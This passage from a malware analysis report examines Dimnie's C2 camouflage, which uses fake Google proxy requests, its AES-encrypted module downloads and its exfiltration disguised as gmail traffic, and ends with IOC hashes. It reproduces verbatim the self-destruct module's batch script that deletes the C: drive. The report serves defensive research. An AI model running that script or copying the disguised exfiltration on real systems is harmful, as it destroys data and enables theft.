The absoluteURI form is REQUIRED when the request is being made to a proxy. The proxy is requested to forward the request or service it from a valid cache, and return the response. Note that the proxy MAY forward the request on to another proxy or directly to the serverspecified by the absoluteURI. In order to avoid request loops, a proxy MUST be able to recognize all of its server names, including any aliases, local variations, and the numeric IP address. An example Request-Line would be:GET http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1To allow for transition to absoluteURIs in all requests in future versions of HTTP, all HTTP/1.1 servers MUST accept the absoluteURI form in requests, even though HTTP/1.1 clients will only generate them in requests to proxies.

Dimnie uses this feature to create a supposedly legit HTTP proxy request to a Google service. However, the Google PageRank service (toolbarqueries.google.com) has been slowly phased out since 2013 and as of 2016 is no longer open to the public. Therefore, the absolute URI in the HTTP request is for a non-existent service and the server is not acting as a proxy. This seemingly RFC compliant request is merely camouflage.

We know what it isn't, so we will dive deeper to figure out what is happening underneath the camouflage layer. Start by having a look at the DNS request that immediately preceded this HTTP GET request.

Figure 3. DNS request issued prior to the HTTP request above.

It looks pretty normal, but we can see an authoritative nameserver returning an IP address, 176.9.81[.]4, which is highlighted in the image below.

Figure 4. Nameserver responds to a Type A query with a valid response.

While it may not seem so at first glance, this DNS query is related to the initial GET request to Google. Below is the raw hex of the IP header of the HTTP request above:

Figure 5. Raw Hex of the IP Header from the HTTP GET request for Dimnie's initial phone home.

The answer (176.9.81[.]4) from the initial DNS request for onechat[.]pw is used as the destination IP for the follow up HTTP request that appears to connect to toolbarqueries.google.com. Sending the request to an entirely different server is not complicated to achieve, but how many analysts would simply see a DNS request with no [apparent] related subsequent traffic? That is precisely what Dimnie is relying upon to evade detections.

What the GET?

Since we have established the HTTP GET request to be largely falsified for camouflage purposes, we can now proceed to pick apart the initial outbound HTTP traffic. The contents of the HTTP GET parameter are reproduced below:

GET http://toolbarqueries.google.com/search?sourceid=navclient-ff&features=Rank&client=navclient-auto-ff&ch=fYQAcgUGKQ04yy+39O6k0IxaeU9Bgw81C6ft2+OPISgD8VPCj5hkCilXUZraPNCm&q=info:google.com HTTP/1.1

1	GET http://toolbarqueries.google.com/search?sourceid=navclient-ff&features=Rank&client=navclient-auto-ff&ch=fYQAcgUGKQ04yy+39O6k0IxaeU9Bgw81C6ft2+OPISgD8VPCj5hkCilXUZraPNCm&q=info:google.com HTTP/1.1

This GET request contains a single piece of data used by the malware: the contents of the "ch" parameter which is base64 encoded.

fYQAcgUGKQ04yy+39O6k0IxaeU9Bgw81C6ft2+OPISgD8VPCj5hkCilXUZraPNCm

1	fYQAcgUGKQ04yy+39O6k0IxaeU9Bgw81C6ft2+OPISgD8VPCj5hkCilXUZraPNCm

Decoding the "ch" parameter yields us a AES key which Dimnie uses to decrypt payloads. The attacker uses AES 256 in ECB mode to encrypt payloads which are push to a compromised host and decrypted.

The code below illustrates, in Python, the method we used to derive this key.

>>> import binascii
>>> import base64
>>> from Crypto.Cipher import AES
 >>> a = "fYQAcgUGKQ04yy+39O6k0IxaeU9Bgw81C6ft2+OPISgD8VPCj5hkCilXUZraPNCm"
>>> b = base64.b64decode(a)
>>> decryptor = AES.new('\0' *32, AES.MODE_ECB)
>>> c = decryptor.decrypt(b)
>>> binascii.hexlify(c)
'cda59f1670cf48bf0000000011217350b14b3f2d4c6001006fb3b0fb00000000adf1de43000000000000000000000000'
>>> key = c[4:8] + ('\0' * 28)
>>> binascii.hexlify(key)
'70cf48bf00000000000000000000000000000000000000000000000000000000'

>>> import binascii

>>> import base64

>>> from Crypto.Cipher import AES

>>> a = "fYQAcgUGKQ04yy+39O6k0IxaeU9Bgw81C6ft2+OPISgD8VPCj5hkCilXUZraPNCm"

>>> b = base64.b64decode(a)

>>> decryptor = AES.new('\0' *32, AES.MODE_ECB)

>>> c = decryptor.decrypt(b)

>>> binascii.hexlify(c)

'cda59f1670cf48bf0000000011217350b14b3f2d4c6001006fb3b0fb00000000adf1de43000000000000000000000000'

>>> key = c[4:8] + ('\0' * 28)

>>> binascii.hexlify(key)

'70cf48bf00000000000000000000000000000000000000000000000000000000'

Besides the HTTP payload, which is an AES 256 ECB encrypted PE file (after decrypting, SHA256: 6173d2f1d7bdea5f6fe199d39bbefa575230c5a6c52b08925ff4693106518adf), the server reply contains only one other HTTP header that seems to be used by the malware; the Cookie value sent back from the C2 server. This Cookie is a 48 byte, base64 encoded, AES 256 ECB encrypted series of UINT32 values pertaining to the payload (when requested) or outbound data (HTTP POSTs, see next section) as can be seen below (comments appended after //.)

struct DimnieInformation
{
    UINT32      dwUnknown1;     // 0x00:
    UINT32      dwAesKey;       // 0x04: Final AES encryption key is: Key + (28 * '\0')
    UINT32      dwUnknown3;     // 0x08: Not used for encryption.
    UINT32      dwUnknown4;     // 0x0C:
    UINT32      dwUnknown5;     // 0x10: Can be subtracted with dwUnknown1 if higher than 0 but unknown use.
    UINT32      dwUnknown6;     // 0x14: 
    UINT32      dwKey2;         // 0x18: Not used for encryption.
    UINT32      dwFileSize;     // 0x1C: File size if file has been downloaded.
    UINT32      dwUnknown9      // 0x20: Can be subtracted with dwUnknown1 if higher than 0 but unknown use.
    UINT32      dwType;         // 0x24: Type of sent/received data.
    UINT32      dwCRC;          // 0x28: CRC of the received data.
    UINT32      dwModuleID;     // 0x2C: Module ID of the downloaded module 
};

struct DimnieInformation

{

UINT32 dwUnknown1; // 0x00:

UINT32 dwAesKey; // 0x04: Final AES encryption key is: Key + (28 * '\0')

UINT32 dwUnknown3; // 0x08: Not used for encryption.

UINT32 dwUnknown4; // 0x0C:

UINT32 dwUnknown5; // 0x10: Can be subtracted with dwUnknown1 if higher than 0 but unknown use.

UINT32 dwUnknown6; // 0x14:

UINT32 dwKey2; // 0x18: Not used for encryption.

UINT32 dwFileSize; // 0x1C: File size if file has been downloaded.

UINT32 dwUnknown9 // 0x20: Can be subtracted with dwUnknown1 if higher than 0 but unknown use.

UINT32 dwType; // 0x24: Type of sent/received data.

UINT32 dwCRC; // 0x28: CRC of the received data.

UINT32 dwModuleID; // 0x2C: Module ID of the downloaded module

};

Here is a list of possible types which may be found at offset 0x24:

Value	Description
0x00000000	Main PE module received.
0x00000001	16 byte information sent to C2, probably PING/PONG.
0x00000002	PE Module received.
0x000003a4	Get module.
0x000003a6	Get main module.
0x00002000	Running process.
0x00003000	PC Information (Computer name, language, network card, …)
0x00038000	Keylogger data
0x00058000	Screenshots in PNG.
0x00018000	Unknown.
0x00098000	Unknown.
0x00418000	Unknown.
0x00118000	Unknown.
0x00218000	Unknown.
0x00818000	Unknown.
0x02000000	Unknown.

The values contain a preset, defined size for the payload as well as an expected CRC32 value. Effectively, the Cookie parameter is used to verify the payload's integrity during the module downloader portion of the malware's lifecycle. When the Cookie value is included in later C2 traffic, it is primarily used to identify the type of data being sent back to the server and the reporting module.

More Camouflage

Data exfiltration by the associated modules is performed using HTTP POST requests to another Google domain, gmail[.]com. However, just like the module downloader portion of the malware, these HTTP requests are hardcoded to be sent to an attacker controlled server. Again, Dimnie attempts to blend in by looking at least somewhat legitimate, although the data exfiltration traffic is far less convincing than that of the module downloads.

Figure 6. HTTP POST request with encrypted data.

Once again, the data is appended to an image header and encrypted using AES 256 in ECB mode. The Cookie value follows the same structure provided in the previous section. This initial push contains system information as can be seen in the decrypted output below (data enclosed in brackets has been edited):

[netbios name]
WORKGROUP
2
HomeGroupUser$
[Hostname]
[Language]
1
10.0.2.15 (08-00-27-D9-83-51) 'Intel(R) PRO/1000 MT-Desktopadapter' PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18
4
Administrator (0x10203)
[Username] (0x10223)
HomeGroupUser$ (0x10201)
[Hostname] (0x10221)

[netbios name]

WORKGROUP

HomeGroupUser$

[Hostname]

[Language]

10.0.2.15 (08-00-27-D9-83-51) 'Intel(R) PRO/1000 MT-Desktopadapter' PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18

Administrator (0x10203)

[Username] (0x10223)

HomeGroupUser$ (0x10201)

[Hostname] (0x10221)

During our analysis, we identified follow on POST requests containing screenshots of the compromised desktop and process activity lists which were encrypted and appended to a false JPEG header as described previously.

Figure 7. Process activity list, post-decryption.

Decoding the Traffic

Now that we understand how Dimnie retrieves its modules and how it protects them, we can use the derived AES key to decode the observed payloads from our PCAP data. The payloads themselves are never written to disk as they are downloaded and subsequently injected directly into memory. The module ID is stored at offset 0x2C as a 32 byte value in the Cookie field, however to calculate the "true" module ID we must use the following formula using the key found at offset 0x04 in the cookie: uModuleID = uID – uKey. Below is a table of observed module IDs, their functions, and type of information as referenced by the Cookie Header (at offset 0x24):

Module ID	Function	Information Value
0x20001	Main module: downloads other modules and injects them into memory.	N/A
0x20002	DLL module which exports SvcMain and is injected into another process.	N/A
0x20003	Contains 58 bytes in front of the DOS header. Purpose unknown. Appears to be a copy of the main module.	N/A
0x20004	Extracts PC information and sends it back to C2.	0x03000
0x20005	Enumerates running processes and sends the list back to the C2.	0x2000
0x20006	Module that can logkey strokes, take screenshots, interact with smartcards and more. Uses RegisterRawInputDevices/GetRawInputData for logging keys.	0x38000, 0x418000, 0x818000, 0x98000, 0x118000, 0x218000, 0x58000
0x20007	Keylogger module which has two PE files appended. Both PE files contain the same functionality but are different architecture (x86 and x64). It sends back the logged keys and clipboard data to the C2	0x38000
0x20008	Module that can take screenshots and send them back to the C2.	0x58000
0x20009	Self-destruct module which deletes all files on the C:\ Drive.	0x02000000

The self-destruct module, 0x20009, drops and executes the following batch script:

@echo off
Title System need to reboot computer!
color 0c
Echo Auto Starting in 5 seconds
@ping 127.0.0.1 -n 5 -w 1000 > nul
@ping 127.0.0.1 -n %1% -w 1000 > nul
cls
Color 0e
Echo delete disk C
del C:\\ /s /q
@ping 127.0.0.1 -n 3 -w 1000 > nul
@ping 127.0.0.1 -n %1% -w 1000 > nul
cls
color 0c
Echo Remove directory
Rd C:\\ /s /q
@ping 127.0.0.1 -n 3 -w 1000 > nul
@ping 127.0.0.1 -n %1% -w 1000 > nul
cls
Msg * \SYSTEM ERROR!HARDDRIVE IS OUT OF ORDER!\;

@echo off

Title System need to reboot computer!

color 0c

Echo Auto Starting in 5 seconds

@ping 127.0.0.1 -n 5 -w 1000 > nul

@ping 127.0.0.1 -n %1% -w 1000 > nul

cls

Color 0e

Echo delete disk C

del C:\\ /s /q

@ping 127.0.0.1 -n 3 -w 1000 > nul

@ping 127.0.0.1 -n %1% -w 1000 > nul

cls

color 0c

Echo Remove directory

Rd C:\\ /s /q

@ping 127.0.0.1 -n 3 -w 1000 > nul

@ping 127.0.0.1 -n %1% -w 1000 > nul

cls

Msg * \SYSTEM ERROR!HARDDRIVE IS OUT OF ORDER!\;

The primary purpose of the modules we’ve observed observed is information stealing and reconnaissance. It should be noted that Dimnie's modular framework allows for a variety of capabilities to be accessed by its operators, thus the modules observed during the analyzed campaign may not encompass all available functionality.

Conclusion

The global reach of the January 2017 campaign which we analyzed in this post is a marked departure from previous Dimnie targeting tactics. Multiple factors have contributed to Dimnie's relatively long-lived existence. By masking upload and download network traffic as innocuous user activity, Dimnie has taken advantage of defenders' assumptions about what normal traffic looks like. This blending in tactic, combined with a prior penchant for targeting systems used by Russian speakers, likely allowed Dimnie to remain relatively unknown.

Customers are protected by IPS, Dimnie is detected as malware by Wildfire, and Autofocus customers can see related samples using the Dimnie tag.

We are also including IOCs for this malware family dating back to 2014 which include domains from DNS lookups (Appendix A) and dropper hashes (Appendix B). IOCs specifically mentioned in this post are included in the next section.

IOCs Mentioned in this Report

We’ve purposefully omitted legitimate domains and IPs from this listing.

Initial Phishing Email: b70a17d21ec6552e884f01db47b4e0aa08776a6542883d144b9836d5c9912065

Malicious .doc file: 6b9af3290723f081e090cd29113c8755696dca88f06d072dd75bf5560ca9408e,

Dimnie loader: 3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22,

Sample decrypted main module: 6173d2f1d7bdea5f6fe199d39bbefa575230c5a6c52b08925ff4693106518adf

Appendix A: Associated SHA256 Hashes

15895f99011f466f2ddfa8345478b2387762d98eecf2ada51ad7f70618406ba1

7d8ec31d9d98802e9b1ebc49c4b300fa901934b3d2d602fa36cc5d7c5d24b3bc

046bc7347a66c977a89ba693307f881b0c3568314bb7ffd952c8705a2ff9bf9d

1b5e57fa264b2ce145b39f9fc2279b21f6b212aeca8eaa27f68cdcdbdef1900f

4b10cc374ed9e2c69231fcfa1b1d96496785ecf148f9445192f24385068e7b0c

e47ce23ec14114d3abeba090baa77b9bec876f947df67076dddb9087387735c7

d99c699e399afcd9e5abcff8c9b4a40af3e428f0c452c646653c79ec1a623bba

b6dc94f75ea4d2b46cf41079b1ac4cf48fe7786019396f379822fe6e21c9929d

a4df4a25e847d95a86a257bef7d2b349e9908bec37f0199f9f217d9cc0e28564

caba117fdf3ca61b1b17121adb4546e829df5426ab8944e5c4672f4a8619d0fe

3ffec5efb775c7d977f1e0ad1e8a51a111394e0ed113f58809fc8441b2c0f731

3d94881f0125093576dd01cd54cfd937cdca2b3050ad9aa4c5db2514d9aa686c

1d06464bafd24c228fd66df9cbf8feceda1346cef8648c2cd87cf617547bbe1e

9c403782571042fe2e3efb3acc35a26867956235a2a9472798bd664b65698c3a

d0eaec396ae11110dc4f51f3340d4735790876510de438f8a161577c7aa72d1e

222beafedbb604d200099cee657505f1d11b371403c7c9c12103adf28a561289

0f76bcda668095a8d2fe7a1282d463dcf04201e1c5a35856f117703bcd9428ef

c4bc691d7b8a16ff68ed338878451d1ba681aa181922cabd0b999b935ded673e

67a1dead18afc43c69a97de3e39bd84dec91df751a45bbda7ac5874f746c147c

7c4c2c898f611fd12a244822f5a2080da51126713d4ed1b3c950aa0ba6f92d93

67df79166bb258e77959c326c21563ea41f3f119d8e8486043efb83c868e636f

5661e7c23ed6058157b39ed29fa37690148d377b1faa7c7b89024daf0ef7e904

bbe7abc992928a45b618fbd7fbdd472ec3e4a47126f21ec38ad8257afe0c091f

05e30073cbd18b0ff2cfeab307e2e8cd2226d921a1872f17fcc312fc601fa93e

4a25bf18783ad32e08aaff0707d8fdae88647da4e0bfd22d83850e0dfa4ab148

3109724914f0eec8ee5167b15e43fc71e58106983ad0d2137c96239d5b25ad7c

c333173687879f3a6387f5afd915d9a4f042ffeb96f4cdf4514a5433de558f6f

071d91e67c42811d96d15a4a6dff740cc5d704ca352d9bc03778a2a6abd552f4

d884ae7b4f88973d2fb763b00c41171353310696e66dcde5733558ca68cd68d5

3944c7586e17399051785e1ae0311f4b98e74825291249a784428a64a80240e5

f76fe0b83e45a77ebc36ab12a27a5cf49be74fb154c51cb793e946c45bc4e12f

9f2367e31987327ef5710f7dcbfa089382c1967247c5ac1e2342e1e10e495fb5

5f45450f3342fd4f7f08651d58f775d47a25a44758039a577811eed6c094dfa7

824b93c4662cdc072488cf82d34569dd27d6f1fced5cb83f045825ed2e4b463c

441b1db0595565ac059552790e96524851843b22787238291f286b16c9c951d4

ba6022401ed257f82b7107319a7ec928044acd3dcb60dfab1ac7df2823ffef25

0a5c9818aa579082af224abc02dad60d77f4ded6533d143100b7744b58e289a2

871cefc4f9faf8658804dbe8332e3b511172ea29545e13c303ae1809edf8a0f6

bf3869e420ac8686b9ae3b14d679f45b34909ff998887f9fd0c8126853d6a4ed

8eef688751eed591bedd2fcc18d32bb84df11fdda62a16c963561aeeae56f6f4

c18775abf5c992cbd9b3b0c401fb0ee66bbe092e44b0b1b3cdd17fdc353d825e

ea6a8a46b61e2a8813c4146461e4c961dfb2cbcf277d8bb9edfc14be73f9f073

119972c1029267df7c5a8e607a2f034e7f8a3396ea49c67430842e0ff2de70eb

488c93d2e5413b974f489030c1f7484d2a6610cda0dd5a389b6a30371817d108

4ebb33fcf64afcd534ac83e72e49a4392b586bd31ef20b7bea2717cb9cde4928

a8779654e5abf142aaaca29b1abc0cbf1f5430e8a8fe7d955ae3ba6f1a9a3747

445e1aaa68169f30efa3d7d04f378c646abbbb3515430005b66d9e9ac182006c

417d6ec4701da0396bdffb8da0d582dabde35dedf9d468bcbe36f94df6dcf8e3

8a4748311e74cbf4f66a55ee4561728d0542929e9c260eda6d30bbde054fa53c

6a71582fb919a1300b98b035eb154602bf5452ff80d364a1f6603240cdbd8293

b01756a3f4b8d687a9fce4301f5f56b4dfb7befe29550096b262935f63f02cc4

b91fbf574bf080af82cd24977d00205dc0860ad7afb01f8f4a0ce0f910f9de6e

829797843357a5417f4de7b7f8f970ccfaccf30ecc80ed9c15e796897012d3e5

b10a1189aeb784c899bb5eb46b6cf1528b2ef6e3c0673159db4438e7aa39f6d7

2ba2491ce6a1814206dfe2aa9b1129f6085f1a18fd9b8c831caad286b095ee90

78961c49fa961bac01ebc8ef62077bc8fc8a3389f39fd7ee9d655447f0282fe2

aaa1511a156a11cff7e09367184972c067b65cae6573a8b4844dbe0a01894118

e64678633c8e876fc9313bfe5a8401953eaefdd8e7e006221cd5009f471fc389

2cedcdaa116feed52819914db3f19edf58c004a4a28c62f556d2ce3ced84b0f6

417addbd5817cc9dcf4f77f6240a56cd11a94c9a89e646d589e5ed26710cbcac

ff19d4f2c6527b2d4ecf65fa85115fddaec5420ef4346e1b6a21b28ccc5604b5

6e676f6be660799fbb4037c0c1ad39f9933b3e84cba0642fb7b892465b87325b

f9531a1ca3ee933812b709cc07a7d6ab6f8ee9900eee64ad97e936a68c5847e5

df56d66b8d9a16258a0b449084e3d82f8e338f0d0ff140bbcec1848357107dda

81ff2560c2f999d51f45b62110a5d37921a94d1af47f694780f9df8ed6c932ca

f9e6817f348cbfc4ca672ea275f3da390c31b45266e57b1f0f13f7c7ca37a3eb

eda0dfc38e7f32efe209902e653553a231de906b3a8894d31c3e39bd3a7e3a99

567cce05449594ed622160b443e81fb9e38989d830749d9e8bb5853f73226d11

62b8b1c425bce735789ab19b7e520304d85005df418221eb0f9b242d9e671a45

03766d99a1d7551ac4056c121c017ae70443d50c152ec1b06249c891baed435a

1d0a9d2e3c08f54b95575e4341f1d9699eb29ddbcf45757b1814ceabc9418a03

7dcda64fdfb2069f3b5f5047cfac6f2abfb6a2fb7591f974e5c0348ae86b6909

913589ca3fa86f9de6582204040753c779dd830e33876de338683587d7498766

590a4dedb34956e454d384e882440e731d50a83a819cfef000596d165a7d32c5

d0b44b803893fc08c08c653b2e0ca2ca2e2f52ef8cd49f0ac145337af5b2175f

cc74ef19129d061ba97801839ff04c00df07f684ff62df89061d7694c3a9c244

302b0b3731f86facb6be3fbe8eadf18d00d696175fc1590fc012b9c90fd60de6

bf4b6f9f28166c0c6916548694a09f98ab5e4e9c3012323b3a5fb3e6a6b33d9e

b857f5244e18fa9efc9b820dc70b827674f28bcea9ab7ef666e2271f0de4c9ef

0a46ce6d1d54fed2b200622ad0d5977e00e7865fe26c4cc69efa573e1ae542ad

10b8eaae1e00dfb40186a1d32f0c3cc10a47b9258afbbbdd81569b96b2c79a07

7b23f7c1ca90affc891ac89d6c9b592e0c47f1a539b9e8a87f6431fc0158404f

cc8585b57a9a371fb6d7250395bdcddca07150a7dd97c3a9dd67e408812feb8e

35074e717332d8fe3336448c8cf065bab56b978819b4685e618b094674be06df

a60c52336dc58251b28fba6345f75236bd7cf82c19702fa777fc926f04a5f75f

0bf94cbf7120ba5810c24772ba9752d22a31129cbed2009ebbed5bce18c916d5

052e93c7733e1a1fc5094682ab3cc3324b838d5260a1bed899ff93ef0966608c

3a9ec7a665475ca2f8e4eb314a3b845a727b3a99a818263284604b76b1857960

30d40c80ead9fd48b39aeee9c6f9d38951470d16bbe2bac09107d66f197cf012

e91c5056fc764bea87cc5a265a18c93140420ac15b030fa061f4e54e453d6c1e

5893e01e6ac20cfa75f184d1f6d708e3ccb3ff6da9f5183da415e3126e4d84b7

2d9b959ad8e19d2dd1d60e1bcbcfb014fcd9d671316b310d864fb2d881c16462

770c79684d74bdf8fb6d0d7cf138ddd06fdf7506e91eab09d79ded677f04ab98

98bbf1b17196a525e810689833dae910b144daf8ce85f31c73b9d0ca2dbdc426

0c760dc72a02073921d696840c31a372648a9f964be0afc0bd14554cb3a6be61

66f3b47798a56b74517094038862ce1a4555e5c975427db3b00835377cc26725

21e406638bffc35ad1929c5b03a0bbd42d1a39fb481d1954e0c15135e01e3c6e

01431670bfa2a14419323ba4731e2b9f03d9bc7362ae78b06792eb605249ff0f

517db060d4b0d8ae3a22d37f67311d9f5e2bf93d07424a4b9be5fefe84c571e6

3eb15bd22b9c70cfaa57a08eccb60de60e6bdaba00489ad0c61139504ec1b274

cc7b1846fa441c13cc03a8089013c55fd8c7bbabde049cf578df2633afebabff

eb47d187d81488b11690ac3191ad8e17774d8a11e559d692fcc344a905c34183

7f8c517b0873991b320d3f94e76f639afadf1481550c8931bae2b46afe204aa9

414475578f2d5642be77f2ea18df1f3ea97fc78a5b985944076c41f8b6e3fa54

a9fc88b00fe9ba84397aa7eba29a3dcc34da69a2eb89d9135cbfc04725605703

d390f1198f1b0c2307859b523a8fca918994c48cc630bff60f1b1fe159f974cb

fa56be12aec3eae896d372839d20bb02f45a8f167cfb44ca9b9e517f8bf454c5

8f0cf083af5412a8c228fe8d7755c2dd186248bf73de5db693019a0435de7dad

e593d990025104eeacc1bf48c3cf02a9f4503b056e6f17806dbc82e66f1878cc

6764806968caeec57f239584098f45eb4cdf1c1610d1a85b5c065bd4a3682fd9

63aa7d6759523c216de2bc85621f34d2a08f6c3c9dea8f4d3e0d1eae28afecdb

4a8336797a98e2f74062a477cf88a1c6be603102a3ead70d69823c5d3306536a

0595605bb8b6f4369e04be003c8de77d60d51c676bf463452758f0441c3dddac

611f0f92151aef878550ca0cbfb98433180607f374f5b68b72393a3d43f65381

7e275e43f70ac7962e5f4b503521af1862ac86ac8952aad52f7ff8452463b6d4

fd7f3195d0b9530131c5860e5db4755f9bf95c5cdc2b1c5563be5f49b0d35857

2fee7fbabcf1b4381ec3c8ef951bcdf9e204b9d8418815cc84efdd909a882413

f423bf186440e7ac1924a75bf3c532d61d62592d664e7bb004c10881fda3bade

3e21da2bfb27dc428214f94f6424b3d745e5590df45f333ad1f20552afbd410a

7ccdecd7997e78e766e2eddc1dd0d5b2a0ff8d601a7acaddf024c0fc2f4204dc

fc9b309039e083e390627f8203b6428a51ab570b3839a1e1efcc4b2855803fab

a1ca4464b092f361ae6c0bf60867c93fb507ca3f9c6de045979d708997539a7f

8e6d0b88a84ce804938ea9b5c41b0ed497ce00b070ce0b596913b4dc65501352

2aefd28e364b92ea42573d5f937ec53bd864e73cd8b7d40da27cbda2c6f9592a

86bd7d9187a273a9b0082ca84fcfec05d7f7ad5fe03360533004eadd64a86017

20b1853bec49af02aff6cd22b2c25e41a48df7a2cfbff785f6a110eff8742f6b

beb5a1afc328ab2f34f56a65ff4161d37be91adecfceaa83a2bc20b63fd35eed

3998a7feb58bc3f4741b9585ecdad04b1d16026ba116630c0d7b69f2651a9ec8

82fc70f991759e53daa66f2cc4f0873426049215b073973365341b000fa26585

2acff0e4efcf15d9b21f15869b955cfafa8f188d7e38de52c729c260d3cffc4c

9aa03d7f128678225dcdde8b8f8a792b7d56c768afde401a7ee779469a469271

03262308f43830db8fa4c3568aee387df5de96743c287bc6b49bea309b2dc373

95637e684a42583be98f3c1d2567cb5bdc3e7fcb875f054b58b1036f32834ada

f3ac0db23744528e8169c1bc58c844b0fdfa4129c5e8700b4bffb07daa75d1e4

e38804084d5cb0e7e80fd9144ed012dc92e89b68586dc2611ee90392d2fe46f7

6a1999cd18373653766b9385c3e60a3f21ffa040180172eb206142f601384d76

85176e6b449dc548af04c29fe13e8622c275c84691d449d6392607013f6fce07

d653637357b94b8547f5d81e78248c5f7dec8f64a3f7918563c1b5fa9086b3e8

97ee5dc97b2d21d299034cb02cc814a63494a31689afa3be9e47015b40b8b308

b1f47264a60d732ad917770406badcfaa3b845d85841c46b27ea758ee82f18c2

201480d3fe6598cb7557c4940e5db96e71de9a15364b19865ee61c11658e2b5b

ed9f3dba0c9a987094d1921e5316398aea169bf907ce848d6518ea40db15c46d

c2ba05bbebb35e99780c87e23a3d6f7b05ffcb17b21ee27f05fb62ec13e25b0e

abc4b46a96f432605336dbe376a92feeb77d768c473d52b725a853a3abeae92c

b2eae31ae2fecf69a5940e5e7d3ec90b241bd1223a4af25204676b67a176c88c

2d2c65e64f18e38991c609ca7d16cafb928c5c96132fe8f361dc3f31473b93f7

5750fcf5b4e31fcab9e81f154e1ec04105dd909f46ffdb9bcb986d7da9e6c22b

8ab4e92cd37cda1273f2359ec8d2c4b9cc4cf02faa199f8fe71f4f200a3ab31d

c693c3983f3c6e2e20d338ba240ff7411121a674b267ff86914156f9a91d5be4

cc05d4bffba7464194bf25ef5f8dfe9541048404b29e31fa93392663b1873501

375005db3906b1aad931c0207932ccdc99a191e9ceb100ae364ee1f2ca15682d

f9b85d337aeba34d23cbe1340f596cc908f572cbeeb5fed4fb389d779c7d5004

941007ae7918e8eb1845598053cf7fc4b0c17d708c2dbd1d1b13d2dc12b138e1

6069b42bfdf59ce5ec95f068e871ee266fa7593457eb4b38dda113014be87ce6

d3f4e3459bbe753ea8c022eef425d5b098b0f32c0e4cc4f390442d9796ed4ee2

9dd9befeefdc13ae72bf90952892eb357bdff72083c282fb73dd3821afe43e72

eb1f746dbdc2598757423e4505ff898b8308282e638f9b940d84870e7a196fba

32b7a4f26eb3e2f44eeb82b95f9971572aeb82f1e218bbad39b2a8238d1448bd

e3e708a03186f373d002e6e84c649bbd95668c2c17dee9c7fb0143f3d675837c

b909e6e7f909abbb57af26b244b330f822ed552a3c4dadd028079d8070108c10

813fdde0b998bda3247eadab873677972681274b4a9905030bf8d76727d57a6c

0353e9168983735e8efd2d53b4c498b7810f49e67169e33eb42ed2ef8d3a13eb

49b2fae0ae4d9cf71c2766a0d965d8a50bacd8c522eb45656b8b5f6a1c7c8f51

54e54c459dbe3224d3f4947b30f20b365224552afac4bd45ddadfacee9a7cbe2

6b8b394add913d3c410787f0c711217fec60a917872465de04290a8003b73535

3977472c733eafb7e71f8fd6fece5d2cfc849ec88e9d6942082531f3f88818b2

b2faf0d9f8f436968f3851ae863f3b3d9190b1be5856f2bd044e6b04447efa2f

53e4330ba988627e5f1f5544f23fae1c66c0f2d714a922b1130a1c9dc2efeda5

2c5871fb46e6fbf95266830ba7b4923449d0bc99a4efd7586ff5556ca049ea1c

20b2c347268546d317711aa693d078c0dcac247e486e3b87e45b099fabdff607

c8dee4c2212c7bf8eb9cd7635ff42526b17340fb198a801cdaa8d4ef72a3c1db

c3511e8d5de1ab2146ddb8ecc735890ef5cec0b31d175fca2fb2b88d60ec3e43

947e55e3454031972cc3d11006a60091b2197cc9e241e562ed900b82e4f28bd9

ba03da023f13796dd6dd70db0234da5df33ddc18ba274cdc62c282d56c695ece

de3aa81710f2580d3ac690c1f6d087a4672f29ccaa36e3901e4904056f83a48d

b3f371cc899440583095bac2817fba2ae2c7c3cac9c121d0798e03730589ad33

daefdf3c053971d35eb4a7447cf74c0335066d557ddbe56f01611e8b9a38b512

0dac129154c01867ca391da20227fdf7d7e3a9dd4cf42eac76833a051153794f

dd3ada0bb17356592e13bae5961c0bb131e645d2c957f1f2047cc25528f60518

f94b5803298a18b6ddc5eab202db6ae4e7199adf298ce16698e8053a36d5f934

6e7cb2c05000d0e609cebdb7d598fffc48eb5e7d1d589fc0947e322cdcffa070

dfc6ff1c54d3b7c2d6aa3ab9573debfe83b2d9a82c20b765a852c77d792ab10e

a0af21826f06da5292dfea3574648137292e31df1cd70a8262f03354dabfb38b

788222fe51e7bc91ce229f67557843db34e1ad68296069ed3235b022407fa610

858dc8648024588c644466e0386e101a925295f4b8ba3e3b7235aab7eee2788c

25eb81fc61b60b1a01eafc040b292b8c206a883555d1db3b80103f6a09b92f7d

a0ee38e7edac534827a1501bcc535ab7f604abfe654eb34b330ececc544cb084

c870b4dffa82f8b60efaf7b98875e4f823a207dfb2f0023ca1700392ca91c5c0

cb677ce864730abb68cb007f5ce3cf067fa982d5ec5e79402f4dd28506f763c7

29c653c91fa209754ffdc7d5d450df1eacea065eb327943d613a5341d4d091b7

0919a323113724b2e8734a3178996cedee88f827f7706423acf8407568a93bce

4aceb41286ad09a78a31006e65c374fd82f3f0682592cfa1b06a390b4450404a

8a1d7fe6146ad99ee806586f217e067cd34d5bff7dd44d516e08576c22b1a382

6905b72571b27eb36191c5394fdb8aa91a25561e2f65bb7f6283cd67b8b42695

cd0fcb23fe5387245008d5aba8e9f937bae13da0f5319e4c0952a0e5f8715fca

927d28f4be7b208111298aede19ea6a33d69769081747504a2a6fc0e65596582

0f7810dddc7f204c7da31f6d599ddf7b671dc635aa1c415dd3f5a65ffa0d72e9

665079b17747eb20e80e97a8d8b432fd3760cbe72edba4bac5f3dc95e2576d57

d24c97b62ed06288d3887dd9b720da4900e8703360fe48d62899e6ee156eda20

1d130eee41544ea7389f90a1cc19d2535ab5236985912c3cc000e5a9d2416e81

485c8b3339b13cd8cbb52c03b1024665f9307490a107c0bd8205cebf76cdcd3b

fffef40864cecb56422bb793055749084ab1d756a35075d60cd547b2a7b074cd

444dfc3bbb7406135002e3b6a75e48cd4ac40bb3213f9ba4836ad202e5fcea4a

d13c9c157d9ef56620698b20e2ffca8d9dcac3dd3109382098f423ca9588031f

0f710fb601b78993e28808184c8e868a474dcb679d61bd80e01f215eecf22f83

4a9c473209596f2abb19c0a15b638458ef2c27a208053ec6f89b7b5e8efc882f

b36087991947633cfb1d758065323daf9e2179f668a31e6f639d85f946bef3cd

93ce0b122022fbd855b22e88b6598f705a319154cc3b6693f0a55fee8382fdbf

dc0bbbd2d6b7d37886059415d6cdcb4ac93b55ae06162670407b6aa0eaf44b63

ebfb311bf63b625ddf60d925669cf6b52a8980636a7b1536341cc78ac494eeb4

